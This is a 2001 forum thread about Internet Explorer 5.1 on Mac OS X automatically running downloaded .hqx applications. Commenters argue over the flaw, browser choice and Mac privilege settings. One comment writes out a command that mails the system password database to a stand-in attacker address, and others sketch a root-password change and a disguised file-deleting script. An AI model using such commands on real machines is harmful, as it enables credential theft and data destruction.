>Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root. I don't know enough about OS X to comment, but on the face of things, this seems like a simple security policy that many users can actually understand if explained to them.

Yes. During install, you are asked to decide and enter a root password, as usual. After that, you CANNOT log in as "root" until a magic thing is enabled somewhere. I forget where, but it was not intuitive to find it, and I didn't get it enabled until I'd had it for a week. I think in NetInfo somewhere. Read it in a magazine. I'd guess most users won't bother or won't have the wherewithall.

Anyway, you don't really need the root account for most stuff. Yes this means software installed as your username will be owned by your username and will be vulnerable to whatever attacks, running as your username. Such as an executable downloaded and run automatically.

Apple has done a remarkable job of all of this. /var, /etc, and some other traditional Unix directories are invisible to the traditional Mac applications - besides being protected by being owned by root. They are actually symlinks into the directory /private, and MacOS doesn't do symlinks, only aliases. And bsd doesn't do aliases, only simlinks. Crazy. /usr and some others are real directories, not sure why mac apps can't see them, maybe it's hardwired in. I'm sure a Unix-side app can get at them in the Unix way, except for the permissions as usual.

It's ready for prime time and much better for the consumer market than any Unix ever has been. And the command line is always there if you want it.

Microsoft cares about security!

[hoggoth]

I had an Excel spreadsheet and was going to put passwords in it, because Microsoft has "strong security" features such as encrypted Excel files. Good thing I did a Google search on the topic first:

> We search for the encryption key that Excel® used to encrypt the spreadsheet. There are many fewer keys than possible passwords, hence we are able to search all of the possible keys in 7 to 10 days.

I found several services offering 100% guarantee to decrypt an encrypted Excel or Word file in under two weeks.

Thanks Microsoft.

Re:Microsoft cares about security!

[Rashkae]

You shouldn't bother with those 2 weeks programs. I've found all kinds of programs that will crack MS word, Excel and Access files in under 2 seconds.

I've got four words for you...

[Stenpas]

What a big surprise.

Security Hole a Hoax

[iGawyn]

I'm currently running 10.1 (5G64) and have ran many other builds of OSX, both pre-10.0, 10.0.x, and pre-10.1. In all of those builds, I've never seen MS IE auto-launch a hqx as the article at Macintouch claims. I first heard about this last night, checked with several of my friends who also use 10.1, and we were unable to duplicate the security hole.

Personally, I think it's something written by a person who misconfigured their system and is looking to blame Microsoft for more things.

Gawyn

Re:Security Hole a Hoax

[Karl Cocknozzle]

IE5 does this on my OS X machine every time since 10.0.0. After downloading any archive stuffit automatically unstuffs it.

Mozilla 0.9.4 only opens archives when you say "Open Now" instead of "Save to Disk".

Re:Security Hole a Hoax

[flwombat]

For what it's worth (not much), the behavior of IE under Mac OS 9 (if I remember right) is to download the file, then throw an apple event to the decoder (usually Stuffit Expander). Something like "hey Stuffit, open the file HD:Desktop Folder:foo.hqx". That's as opposed to sending the Finder a command to open foo.hqx and letting file type/creator code determine which app to use. I don't know how it works under OS X.

However, I installed OS X and the 10.1 upgrade the other day, and I don't have the problem described.

Re:Security Hole a Hoax

[Anonymous Coward]

No. It has been verified.

Your claim of a hoax is the only hoax here.

Re:Security Hole a Hoax

[moof1138]

I tried very hard to reproduce this but could not. A lot of folks are misunderstanding the difference between just decoding - which does happen and which is not a major security concern (you opted to download the file, after all), and decoding and executing the file (which would be bad, but which I cannot get to happen, despite a number of tries).

Original posting

[tbmaddux]

Here's the original posting by one of the Macintouch readers... it's pretty far down on the linked page so here's the full text:

"Date: Sat, 29 Sep 2001 17:02:59 -0400
From: [MacInTouch reader]
Subject: Security Alert for Explorer 5.1 (MacOS X 10.1)

I am shocked to report a huge security hole in the latest Internet Explorer version 5.1 that comes preinstalled on MacOS X 10.1

Every .hqx encoded classic application is decoded by explorer itself (that's the default, stuffit expander isn't used) and then AUTOMATICALLY STARTED!

This is totally unacceptable. You can test this simply by pointing your browser to

http://www.pardeike.net/danger.hqx

where I put a very small C program that just displays a message (trust me, it *only* does that message, nothing more)"

Re:Original posting

[Seehund]

http://www.pardeike.net/danger.hqx


How long do you think it'll be before the trolls start posting goatse.hqx links?

Re:That's OK ...

[chipuni]

Yeah, but none of those products come pre-installed with OS X.

By the way, I've noticed that even people from Apple use OmniWeb over Microsoft IE.

Defaults

[Kaiser Sose]

I haven't had much chance to play with OS X (disappointing), but all the previous Mac's I've played with have had it set that "Stuffit" (like winzip) is launched automatically for the .hqx file so they're auto unzipped onto your desktop. didn't matter what browser you were using, that's just the way it was done. Probably just something that got overlooked in the MacOS to FreeBSD core transition . . .

Dan

It may be configurable but why not secure defaults

[hillct]

OK, so this behavior appears to be configurable, but why wouldn't you set the default to the more secure alternative? Does Microsoft really think so poorly of their users that they honestly believe having to click one more 'OK' button would cause them to loose a significant market share? This is rediculous. What possible benefit is there in establishing an insecure default setting?

--CTH

Personally, I prefer OmniWeb

[ehintz]

I do occasionally use IE, when hitting one of those pages designed by MS only shops, but most of my browsing time is in OmniWeb (www.omnigroup.com). Problem solved.

As an added benefit, OmniWeb has options to disable banner ads (sorry VA), kill javascript popup windows, and it's just a generally nicer browser with more intelligent design decisions. And it keeps web pages from looking like NASCAR with all the bloody ads and popups. Did I mention how it kills ads and popups? Although I will admit IE is wicked fast under 10.1, OmniWeb is plenty fast enough.

Re:Personally, I prefer OmniWeb

[billybob]

Plenty fast? OmniWeb is the slowest browser I have ever used. Feature-wise, yah, it's great, on par with iCab. Like icab, however, as an actual browser, it blows serious donkey ballz.

Re:Personally, I prefer OmniWeb

[ehintz]

Plenty fast? OmniWeb is the slowest browser I have ever used. Feature-wise, yah, it's great, on par with iCab. Like icab, however, as an actual browser, it blows serious donkey ballz.


I do hope you're running 10.1 when you make that statement. Under 10.0.4 it was indeed painfully slow. Under 10.1 on a G4 450, it is, indeed, plenty fast. I am posting from this combo even as we speak. Interestingly, this is the same release of OmniWeb I was using under 10.0.4, so the speed increases are entirely due to 10.1, which would indicate that at least some of OmniWeb's slowness was Apple's fault rather than OmniGroups.

Re:Personally, I prefer OmniWeb

[Wyatt Earp]

It seems quick enough on OS 10.0.4 on my TiBook, havn't messed with it much on 10.1 yet.

I think the whole Fast/Slow issue on 10.0x was really a YMMV issue.

I had alot of things that people whined about not seem slow, and some things people said screamed by, were slow as hell. 10.1 seems pretty quick all the way around though.

Re:Personally, I prefer OmniWeb

[melquiades]

I do occasionally use IE, when hitting one of those pages designed by MS only shops

Really? I just uninstalled IE altogether.

Omniweb is a really beautifully designed program, probably the finest web browser I've used. I really recommend it to OS X users who haven't tried it out yet.

It's frustrating that Apple doesn't bundle Omniweb w/OS X. I'm sure that there is no M$ arm-twisting involved, though....

Re:Personally, I prefer OmniWeb

[Art Tatum]

Not to mention that it's an OpenStep application written in Objective C. Too bad we can't get Omni to do the (trivial) GNUstep/Linux port. It would mostly just require a recompile since their basic frameworks have been ported.

Re:Personally, I prefer OmniWeb

[yomegaman]

Are you sure it'd be a trivial port? I imagine OmniWeb is probably using Quartz, for which there is no GNUstep counterpart last I checked. Also, if it were possible why would it have to be specifically for Linux? Are you an OS bigot? :-)

Re:Personally, I prefer OmniWeb

[Art Tatum]

Are you sure it'd be a trivial port? I imagine OmniWeb is probably using Quartz, for which there is no GNUstep counterpart last I checked.

Fairly sure, yes. Both Quartz (OSX) and DPS (NeXTSTEP, GNUstep) are hidden behind the high-level API (The Application Kit). All Cocoa (or OpenStep) applications are supposed to make use of the Application Kit rather than directly dealing with the rendering engine unless they want to do something really funky. OmniWeb shouldn't need to do anything really funky.

Why did I specify Linux? Because most people here have no clue what GNUstep is or what it runs on. Linux is just a convenient placeholder--you could substitute BSD or Solaris (but not Windows!) in there.

Re:Personally, I prefer OmniWeb

[Art Tatum]

An addendum: OmniWeb *might* be doing something directly in the HTML layout engine. I think that they would probably be using the text and image layout classes in the AppKit, however.

Here's why...

[dragons_flight]

Without Windows and IIS, the Mac simply wasn't meeting the evil corporation standard for security holes. After all the virus market needs corporate welfare like this is they are ever going to be an accepted player on minority platforms.

Not exactly....

[sammy.lost-angel.com]

Actually it tries to launch stuffit or another expander to automatically unencode the files.

Workaround?

[maniac11]

Setting StuffIt Expander to be the helper app for .sit, .bin. and .hqx file types should circumvent this problem, right?

Re:Workaround?

[MonMotha]

It's a circumvention device! RUN! It's illegal under the DMCA! Heh, couldn't help but get the DMCA bashing in there on that one.

--MonMotha

Re:Workaround?

[voidstin]

... or you can just uncheck the boxes in the preferences, as previously discussed.

Explorer->Preferences->Download Options

uncheck both 'automatically decode' buttons at the bottom...

Re:Thanks, Apple

[talks_to_birds]

• Didn't anyone see this coming?? I can't belive Apple would allow such a dumb "feature".

I'm sorry... did I miss something?

I thought Internet Explorer 5.1 was a Micro$oft product..

t_t_b

Re:Not M$

[LordNimon]

No, it's not. IE for the Mac is developed and published by Microsoft. Apple just pre-loads it and ships it with its OS. You can download IE from Microsoft's website, not from Apple's.

Re:Not M$

[Anonymous Coward]

That's total horseshit. Internet Explorer for Mac OS is developed and published by Microsoft, NOT Apple. And by the way, for those of you who after nearly two decades can't get it through your heads, "Mac" is not an acronym, it's an abbreviation (actually more like a nickname). Therefore, capitalization is completely unnecessary and really just goes to show how uninformed and idiot you really are in these matters.

User level is DANGEROUS for malicious code!

[infractor]

Well, unless this is some unix I've not seen...

Normal users have the ability to open TCP sockets, fork processes etc.

All the code has to do is download itself, background itself as an non-stoppable process and then use the network to scan like crazy for whatever vulnerability you like!

Even if you're not scanning for vulnerabilities, your code could be repeatedly mailing bugs@microsoft.com or whatever. A Denial of service attack with a userlevel account is also possible...

Re:User level is DANGEROUS for malicious code!

[ichimunki]

Not to mention that most users store a lot of data at the user level! How about an executable that mailed off every file it could find in standard user locations to strangers? How about an app that deletes every file it can? How about something that downloads naughty pictures and sets them as the desktop (wouldn't that be great at work)?

I can think of millions of incredibly destructive things to do at the user level, so let's not pat OS X on the back for being a Unix and having some better-than-MS security model that will keep it safe while running lame MS applications. Security is as security does and this hole can do some real damage despite being a user process.

Re:User level is DANGEROUS for malicious code!

[SeanAhern]

You're completely right.

All the malicious downloaded code has to do is:
/usr/bin/nidump passwd . | /usr/bin/mail hacker@hacked.org

Bingo, a bunch of passwords (including root) ready to crack.

Re:User level is DANGEROUS for malicious code!

[rabidMacBigot()]

nidump(8), reads the specified NetInfo domain and dumps its contents to stdout. What's NetInfo? It's the MacOS X (derived from NeXT?) way of storing system info like user accounts, groups, passwords, hostnames, interfaces, etc. On OS X (and Server), most of the config data that would be stored in /etc on other Unix systems is stored in a NetInfo database in a hierarchical format. Machines can also be configured to use a remote NetInfo server. More info can be found in the 'Understanding and Using NetInfo' PDF.

Re:Not exactly.... what it REALLY does

[sammy.lost-angel.com]

After decoding, it tries to run the application contained within. THAT is the security concern. There is an important difference.

Re:Thanks, Apple

[ehintz]

I do have one question, though... being a Unix-derrived OS, does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

Short answer: no. Long answer: it depends. The first user created is an admin user by default, and the admin user can do nasty things. Obviously, a single user environment will be an admin user, and therefore able to have more power. It would mostly depend upon how well written the application is-the demo app showing this exploit actually runs in the classic macos environment, so it's damage would be even more limited.

OmniWeb, Mozilla

[green pizza]

I can't think of a better case for Mozilla or OmniWeb (the way cool browser that came over from the NeXT world).

You're using Mac OS X, why have *anything* to do with Microsoft?? Forget MSIE and use Mozilla or OmniWeb.

Though.... I have to admit that MS Office X looks kinda neat. I just hope Corel hurrys up and makes a "Corel Office Suite X".

Re:Not M$

[AtaruMoroboshi]

And microsoft doesn't have a Macintosh division?

Being that "Microsoft products for the mac" brings you to a page with Internet Explorer for download, I'd say you are making stuff up.

Care to prove Microsoft didn't make the Mac version?

The MacOS user experience

[Mdog]

Ever since I can remember, using MacOS has been all about not having to go through any extra crap to get something to work. If you want X on your computer from the internet, you click on X, and it unzips itself and starts the installer.

I am very strongly against Microsoft on all fronts, but I don't think its fair to blame them very strongly for this. This is very much in keeping with the Macintosh ease of use philosophy.

I also don't understand why people are making a big deal out of the option to turn this off. If this were enabled by default, it would ask the user "do you really want to run this"...what do you think the average user would say? How is that dialog box making things more secure?

Re:The MacOS user experience

[Darby]

I am very strongly against Microsoft on all fronts, but I don't think its fair to blame them very strongly for this. This is very much in keeping with the Macintosh ease of use philosophy.

Bullshit!
Going along with the ease of use philosophy means when you download a compressed then your decompression program (Stuffit Expander on a Mac) will automatically decode it for you. At which point you can, at your leisure, scan the file for viruses, worms, etc.
MS apparently wants to put Alladin systems out of business by including stuffit decompression in their product while at the same time making Apple look like MS by having an idiotic security hole.

No one *ever* asked for something like this.

i didn't even think it was a bug

[SirSlud]

With MS's history, my friend discovered this three days ago and told me. Both of us assumed since it is an MS product that it was the way it was meant to be. Its such an obvious hole that we didn't even think it was a bug, just terrible and user-un-friendly design (as per the usual MS shit.)

As YOU DIDN"T read this article using said browser

[SteveM]

Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?"

We all know how hard it is to click on a link and read the article, so I did it for you.

From the MacInTouch web site: "Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!"

I suggest that in the future you read the article in question before posting.

Steve M

Knowing Microsoft...

[neema]

"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!". "

Knowing Microsoft, even when it does ask you to execute the file, the only option it'll give is "OK".

Sounds like the recent slrn bug

[coyote-san]

This sounds a lot like the recently discovered slrn bug (see Bugtraq, LWN, Debian) that automatically executed all scripts encountered, apparently assuming they were self-extracting archive files.

However, I'm not sure Microsoft should be let off the hook for the equivalent behavior on the Mac. The Unix code was there for a very, very long time... when it was added it was a reasonable assumption that people would not send nasties because it was too easy to complain to their employer or grad department (the only way to get online) and cause the sender significant personal pain. (This is also a painful reminder that just because code is available doesn't mean that the right people are reviewing it.) In contrast, by the time somebody added that code to the Mac version of MSIE, the possibility of untraceable, hostile scripts should have been obvious.

Tried it. Does nothing

[cith]

I tried it with my 10.1 system. The .hqx file is decoded into an application, but doesnt get executed unless you double click on it. Seems Ok to me.

Re:root

[destructo666]

not unless you are dumb enough to login as root. you need user authentication to run anything as root.

This is not a worm hole.

[Giant Hairy Spider]

There was no real chance this would spread to webservers by that route anyway. Not many people surf the web from a webserver (those who do tend to serve files from their userspace, even assuming they don't also run the webserver with their normal user permissions).

Trojans are the basic threat, but viruses have been spreading through other means for a long time. Since most end-users spend all their time in one account, not being able to access the underlying admin privileges is about as relevant as not being able to change the hardware configuration.

Zorak said it best.

[Rhinobird]

I do believe Zorak said best when he said, "ALRIGHT! SMACKDOWN!". Let's see the geeks lay some of that smackdown on M$....

Re:Zorak said it best.

[Anonymous Coward]

Yeah I'm sure MS is scared of a bunch of fat, pimply ugly losers who try and sissy-slap their way into MS headquarters. Get real.

Re:Thanks, Apple

[bnenning]

does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

"Admin" users do, non-admin users don't. The default user account Mac OS X sets up is a member of the admin group, and can create other admin and non-admin users. /Applications and /Library are root/admin and group-writable. The kernel and /System are only writable by root, as are the /bin, /usr/bin, /usr/lib and other "Unix" directories. An admin user doing rm -rf / would trash the installed applications, but probably wouldn't render the system unbootable (although I'm not willing to test that right now...)

Yup it's real.

[Auckerman]

Just tested it. It appears that IE opens the file without specifing which application to open it with (which is something that OS X supports), in the expectation that the .hqx file is also stuffit compressed (which is logical, %99.99 of the time anything that is .hqx is also .sit). So I just chmod 700 IE (it's owned by root which is in the same group as the admin account) on both Macs in our Lab. Not a big deal since everyone uses Mozilla anyhow.

look in the preferences

[bubbo]

In the preference options, under download options, there is a checkbox for opening binhex, and macbinary files automatically. If you are really concerned about it, turn it off.

Re:Not M$

[kerincosford]

uh......

what the fuck is this then?

Mactopia.

*snicker*...

Re:Not M$

[kilgore_47]

Not true.

Microsoft has a large mac software division that makes IE as well as Office for Mac and some other software.

In fact, microsoft's mac division has more mac programmers than anywhere else but Apple (or so I read in a macworld article a few months back).

Re:Not M$

[bnenning]

Umm, no. Apple does not develop Microsoft Internet Explorer.

Re:Thanks, Apple

[motherhead]

Apple did not write Microsoft Explorer 5.1, no

Apple did not include a preference panel inclosed inside of Microsoft Explorer 5.1. in this panel there is an option called: "download functions" if you deselect the two buttons that say, "Automatically decode MacBinary files" and also "Automatically decode BinHex files"... well then guess what? Microsoft Explorer 5.1 will not automatically decode MacBinaries and BinHex files.

then this whole ugly sorded amazingly complicated and far reaching breech will be gone.

Stupid Apple.

no, you don't need root access to the preferance control panel.

no.

Re:IE Flaw

[sabinm]

you should probably read the ars technica article on meta data. it'll help you out a lot. all those data forks and file conversions and so forth.

Cut the crap .hqx==.uue or base64

[buserror]

.hqx are like .uue. One doesn't 'execute' them. They are text files that just decoded, result is put into a folder and nothing gets executed at all.

You can get a 'helper' to open the file to possibly decompress it etc, but thats optional.
And if you use the default helper (Stuffit expander), the decompressed files are put into the folder, and STILL nothing gets executed.

Go back to chasing .vbs files!

Re:Cut the crap .hqx==.uue or base64

[Mister Attack]

As the article states, MSIE 5.1 on OS X will decode .hqx files, then execute the result if the result is an executable. Apparently IE assumes that anything .hqx is also .sit, and intended to launch Stuffit Expander... but if it's an executable.hqx, then the executable gets run.

Think!

Re:Cut the crap .hqx==.uue or base64

[vivekb]

True, HQX is just an encoded file. However the article is true when it states that the new IE will AUTOMATICALLY launch an HQX'ed application after it gets unstuffed.

I went to the website set up by the author (http://pardeike.net/danger.hqx), and IE did indeed launch the application "danger".

Needless to say, that kind of behaviour is totally insane.

Re:Not M$

[ehintz]

Internet Explorer on the MAC has nothing to do with Microsoft. It's developed, published, and installed by Apple.

Not. It's developed and published by the Microsoft Macintosh Business unit, which is a somewhat independent MS arm out in the SF Bay Area. Apple's only involvement is bundling IE with the OS. About the only way your statement is accurate is if you're trying to stipulate that IE for Mac has little to do with IE for windows, which is correct. In fact, it's not uncommon for IE/Windoze to inherit good ideas from IE/Mac.

And not to be picky, but it's Mac. Short for Macintosh. Not MAC, short for Media Access Control address, as in your NIC card.

Re:IE Flaw

[Anonymous Coward]

And it's Mac not MAC. MAC is a networking term.

Security comparison; reason for insecure code?

[Scoria]

IE Exploits:

q279328 - allows execution of code through print templates or web forms

q286045 - allows someone to execute files and read files on your machine (using a combination of both exploits that patch fixed)

q286043 - allows someone to begin a telnet session and send data to your machine (as well as execute it) if you've installed Services for Unix

q273868 - sends your authentication information on every query as long as they're on the same hostname

Four major exploits in the last twelve months. Certainly, those aren't all of the exploits, erm, extra features that IE has had bundled with it lately, but they are a few that have readily accessible information from Microsoft.

One could imagine eternally why Microsoft designs such insecure products, but look at it this way:

Have you ever coded a product that was efficient and secure after being pushed for three days to meet a deadline? Don't you become somewhat exhausted and lazy, primarily because you want to sleep, no matter how much money you're going to be paid? There comes a point where caffeine just won't help you operate anymore and your health becomes more of a priority than a "higher-up"'s regime.

Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

Re:Security comparison; reason for insecure code?

[WolfWithoutAClause]

>Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

Harder! Because evil never sleeps... ;-)

Re:Security comparison; reason for insecure code?

[yesthatguy]

Well, considering that Mozilla is still in pre-release stage (hence the 1 version numbers), and IE is now at version 5-6, I can accept this. At a pre-release stage, there ought to be many bug reports, and I'm sure if you find a list of bug reports for IE betas, you'll find just as many.

Re:Security comparison; reason for insecure code?

[Scoria]

Yeah, but people saavy enough to compile Mozilla from source are probably more likely to report a bug. Some of these people are the type that would even go so far as to create a patch.

Many IE users pass it off as "buggy Windows" and accept it as computer normalcy when it comes to the browser's flaws. IE's "three or four times the users" are usually those who use it only because it shipped with Windows and they don't know that there may be something that would be more appropriate for their use.

And you have to remember that these are four very critical security bugs, not just normal bugs such as, "The about window won't open after you look at it fifty times."

By the way, I'm fairly sure that Microsoft doesn't report all of the bugs it fixes between versions (CHANGELOGs); they only report those which are critical and require immediate upgrading, not the bugs that are minor inconveniences and aren't likely to be noticed. Hey, it's what I would do.

Re:Security comparison; reason for insecure code?

[jsse]

Have you ever coded a product that was efficient and secure after being pushed for three days to meet a deadline? Don't you become somewhat exhausted and lazy, primarily because you want to sleep, no matter how much money you're going to be paid? There comes a point where caffeine just won't help you operate anymore and your health becomes more of a priority than a "higher-up"'s regime.

Blah! Just say No to unreasonable deadline. Fight like a programmer!

Oh wait, what does a programmer fight like?

Re:Security comparison; reason for insecure code?

[yesthatguy]

Tell your boss to use it if he likes it. I'm not quite sure what you mean by production-ready. A browser isn't exactly a mission-critical application, and I can deal with it failing once in a while. Under linux right now, mozilla seems to be the best solution for me. It has better readability than Netscape 4.7, even though it's not as stable and robust. Most of what I want to see in a browser is readability, having it render pages fairly well, and being able to read text.

Re:Not M$

[destructo666]

the Microsoft Macintosh Business Unit creates all the Microsoft apps for the Macintosh. educate yourself before posting http://maccentral.macworld.com/news/0109/24.macbu. php

That user was uninformed or misconfigured...

[Mr. Sharumpe]

Man, this thing is blown WAY out of proportion. The so-called "bug" isn't a bug at all. If anything, it is a poor choice for a default Helper App configuration, not cause for a big fat alarm. You should be cautious when downloading applications in any case. What happens here is that the Helper App for .bin and .hqx (Stuffit Expander by default on my machine) is launched when those files are downloaded.

This is not a software bug or a security hole in the grand sense. This is a stupid decision by someone who configured the defaults. I suggest that maybe it's not a universal thing, since most reports here do not duplicate the "bug".

I kind of expected the first reported security holes in Mac OS X to be something, well, at least seemingly legitimate.

Mr. Sharumpe

I really don't see what the problem is.

[LafinJack]

.hqx files are compressed files, not program files. They aren't run, they are decoded with another program, which is usually Aladdins Stuffit Expander. This has been going on forever, since before OS X. Netscape browsers do this, as does iCab, Opera, and pretty much any other Mac browser. So what's the big deal? The file is useless until it's decoded, so why not have that done automatically?

Quit being so goddamn paranoid and eliteist, get on with your lives, and let others do the same.

Re:I really don't see what the problem is.

[Graymalkin]

Yeah but alot of .hqx files automatically run install scripts when they are expanded. You could pretty easily stick something inside a .hqx that wipes out ~/ or infects a file. However you're right. Slashdot sees something that is sort of not even really anti-microsoft and jumps all over it. I haven't been seeing too many Mac novices running out and installing OSX on their systems. Anyone who's been using Macs even for just a little while knows better than to have archives expand as soon as they're downloaded.

Re:I really don't see what the problem is.

[xochipili]

This is simply false. HQX is an encoding scheme only. It does not contain any script handling or executable code options. The only way to hide a trojan horse is to make the executable itself malicious, which of course requires the user to launch it, which IE does automatically (in this case which is the point of this thread...). Normaly mac programs do NOT launch .HQX files after they have been unpacked.

Re:I really don't see what the problem is.

[krugdm]

Not a problem? Click here if you're using IE5 for 10.1 and see what happens. Then tell me it isn't a problem.

Re:I really don't see what the problem is.

[emurphy94108]

I might be a complete idiot, but I think a lot of people are misunderstanding what this "feature" is about. Normally, if you download a .hqx'ed executable, using, say, OmniWeb, once the file is downloaded, Stuffit will launch, decode the file (usually it's also a .sit file, so it will keep processing the file until it's just a normal uncompressed file), and leave it on the desktop. This is NOT what's happening with Explorer. When you download an .hqx'ed executable, Explorer decodes it all by itself (without using Stuffit) and then EXECUTES the file (assuming it's an executable in the first place), without user interaction. That's what the problem is.

Personally, I like the convenience of downloaded files being automatically decompressed and left on my desktop. But, security issues aside (and they do seem pretty serious), it would drive me CRAZY if every time I downloaded e.g. the latest patch for my drawing tablet, Explorer automatically launched the installer, without even asking me if that's what I wanted to do. Especially on an OS X machine, where because I don't have administrative privileges, I can't install the patch anyway without logging out and then logging back in as an administrator!

I think M$'s internal motto is, "It's supposed to be automatic, but actually you have to press this button here."

Re:Thanks, Apple

[NutscrapeSucks]

Short Answer is actually Yes. The installer creates an Admin user and then logs that person on automatically at boot. There's nothing particular in the installer or the setup screens to help you or encourage you to create an unprivledged user. However, there are certain GUI actions that require an admin password for confirmation.

Due to the law of defaults, my guess is 90% of OS X users are running with Admin privs.

Users are dumb

[nvainio]

My guess would be that most users would turn it off when they go into the Prefs to change the default download location

Yeah, just like "most users" turn off Java and JavaScript in their browsers? Or turn off macros in their Word and avoid macro viruses?

Not true. "Most users" are dumb. They have no clue what is the difference between "document" and "program". They can't or don't want to change settings. They just click the icon when asked and execute the virus or trojan.

Well, there will always be dumb users. They are not a problem, braindead defaults are. Without all these be-user-friendly-execute-it-all defaults, we would have less viruses and worms going around. Software developers should take their responsibility seriously.

Re:Users are dumb

[eudas]

maybe this is where the 'engineer' requirements etc should come from for "software engineers"...
(think of civil engineers or mechanical engineers and all the checking and whatnot they have to do...)

some random $0.02 from
eudas

Re:Users are dumb

[jsebrech]

Not true. "Most users" are dumb. They have no clue what is the difference between "document" and "program". They can't or don't want to change settings. They just click the icon when asked and execute the virus or trojan.

There are no dumb users, only dumb programs.
A perfect program can not be used in an improper manner, and always does what the user means. The first property (not being used in an improper manner) is possible today. It just costs too much. The second demand is still some years away.

I've always been quite partial to the star trek computer. Allows you to get into the guts of the system, but if you don't want to you can just ask it a question in normal english, and if it can't do what you want you can ask "why?" and gives a usable answer.
Don't know if that's ever going to be possible, but it's a nice fantasy :)

Re:Users are dumb

[mrogers]

"Most users" are dumb. They have no clue what is the difference between "document" and "program".

Oh high and mighty Slashdotter, kindly explain to this dumb and lowly user the difference between a document and a program, with reference to the following cases:

• A Word document with embedded macros - document or program?
• A shell script - document or program?
• A hex editor taking an executable file as its input
• A dynamic linker/loader taking the same executable file as its input
• An email that exploits a buffer overflow bug to load arbitrary code
• Turing's proof of the undecidability of the halting problem, based on the idea of a Turing machine taking a coded description of itself as its input

Here's the fix (no sarcastic anti-MS comment here)

[Anonymous Coward]

Launch IE 5.1, go to the Explorer menu, then to Preferences.

Go to the "Receiving Files" options and DISABLE "Automatically decode MacBinary files" and "Automatically decode BinHex files".

Easy as that.

Re:Intrinsic Security in OS X - It's even worse...

[benmartz]

I think a very important point to make here is that by default, the user you set up when installing Mac OS X is an administrative user and not only that is automatically logged in when the computer boots. So obviously ~99% of the Mac OS X boxes out there are vulnerable to this bug. Did you know that you can change the root password on any Mac OS X box that an administrative user is logged into without having to know the current root password? (Hint: Any and all administrative users can use the NetInfo Manager application to modify the fields of the /etc/passwd file directly without having to authenticate...) Cheers, Ben

Re: Well, yeah...

[gwyrdd benyw]

It is dumb, but you can turn it off in the preferences panel.

This is no excuse - all default options should be sensible options. Lots of people don't change their prefs from the defaults until something in the standard behaviour annoys them - which may take a long time, or forever.

It's still dangerous, even if it can be disabled. It shouldn't even be an option. If you want to run the thing so badly, then go run it manually.

(subject changed to avoid the "postersubj compression" error, whatever that is...)

Microsoft gets the prize for dumbest ideas

[t_allardyce]

Microsoft gets the prize for the dumbest software 'features' Like vbscripts in outlook, letting java control your browser and running binaries without asking. Personally i like the vb scripts: bringing down entire mail-servers with a language that was designed for 8-year olds just does it for me... or though, theres allot to be said about browser-controlling you can give people heart attacks from just simple java-scripting with multiple pop-up windows, Bin-Laden should be taking notes.

You all know the way out - don't use IE or Outlook (or Office)

Microsoft is either the most innovative, or the most incompetent.

Why is it there?

[Phrogz]

If I click on a link for a .sit.hqx file and IE decodes the HQX, I'd like it to pass the file off to Expander for further decoding.

If I click on a link for a .doc.hqx file or a .pdf.hqx file, I'd like IE to get Word or Acrobat to open the file after it removes the encoding.

Apparently this same mechanism accidentally results in executables being run as an attempt to pass them along for further processing to the OS. It's obviously a security whole in retrospect, but understandable how it occured.

Re:Why is it there?

[Chester K]

Apparently this same mechanism accidentally results in executables being run as an attempt to pass them along for further processing to the OS. It's obviously a security whole in retrospect, but understandable how it occured.

Mac OS has always been more dangerous as far as trusting data files goes, simply because their forked file format allowed executable code to be attached to any otherwise "pure" data file. If I'm not mistaken (I'm not overly familiar with the internals of the Mac OS), this behavior was used so that data files could FIND their host application, or another suitable application instead, when they were double-clicked. It's a great convenience feature, but it also makes spreading illicit code easier... you don't have to virus scan a .txt file on Windows, but you do on a Mac.

I wonder if this exploit has anything to do with that.

Re:Why is it there?

[Master Bait]

So if a naughty person made a shell script that said something like 'find root pipe rm descripter 1 and 2 redirect to /dev/null', all they would have to do is name it fun.sit and then binhex it, right?

Re:Why is it there?

[hearingaid]

That actually makes sense.

Solution: Check to see what the .hqx decoded to. If its filetype is APPL, do not launch it.

Time for a patch... :)

Re:Why is it there?

[Phroggy]

Mac OS has always been more dangerous as far as trusting data files goes, simply because their forked file format allowed executable code to be attached to any otherwise "pure" data file. If I'm not mistaken (I'm not overly familiar with the internals of the Mac OS), this behavior was used so that data files could FIND their host application, or another suitable application instead, when they were double-clicked. It's a great convenience feature, but it also makes spreading illicit code easier... you don't have to virus scan a .txt file on Windows, but you do on a Mac.

Nope, completely wrong. The "finding" you're talking about (where the Finder got its name) in an attribute in the filesystem, not something in the resource fork, and it's simply two 4-byte identifiers in each file. It's true that you can embed executable code in any file, but there's no reason why this code should EVER be executed, unless the file in question is an executable type of file (such as an application, an extension, or a control panel).

I wonder if this exploit has anything to do with that.

Nope.

Re:Why is it there?

[Phroggy]

If I click on a link for a .sit.hqx file and IE decodes the HQX, I'd like it to pass the file off to Expander for further decoding.

Yep, I agree.

If I click on a link for a .doc.hqx file or a .pdf.hqx file, I'd like IE to get Word or Acrobat to open the file after it removes the encoding.

Absolutely not. The is NO REASON why a Word or Acrobat document should be encoded as BinHex, EVER. If I stumble across one, I want to be forced to go through the extra step of double-clicking, just to make sure I really know what I'm doing.

Re:Why is it there?

[Brownian Motion]

Mac apps do not do this now, nor should they.

For one, there is no reason to binhex a pdf or a MS Word Doc. Neither file type dies if it looses its resource fork, which is the entire purpose of Binhex in the first place. It's not a compression scheme like [g]zip or compress, it's used to gather up a resource fork and a data fork and do the bin to ascii conversion so they can be passed around like text files in email and usenet. BinHex files are larger than the original file.

With modern browsers, it's not needed at all for web downloads. Macbinary works just fine (a simple flattening of both forks into one binary file). Unlike binhex it's only slightly bigger than the original file.

There is no reason to "add functionality" just in case someone else does something really boneheaded, like binhex a PDF. Why make a file 1/8 larger and inaccessible to most people not on a mac? It's easy to de-binhex and several programs to do so exist for other operating systems but most people don't have them installed. And, judging from some of the comments, most people don't know what binhex is in the first place.

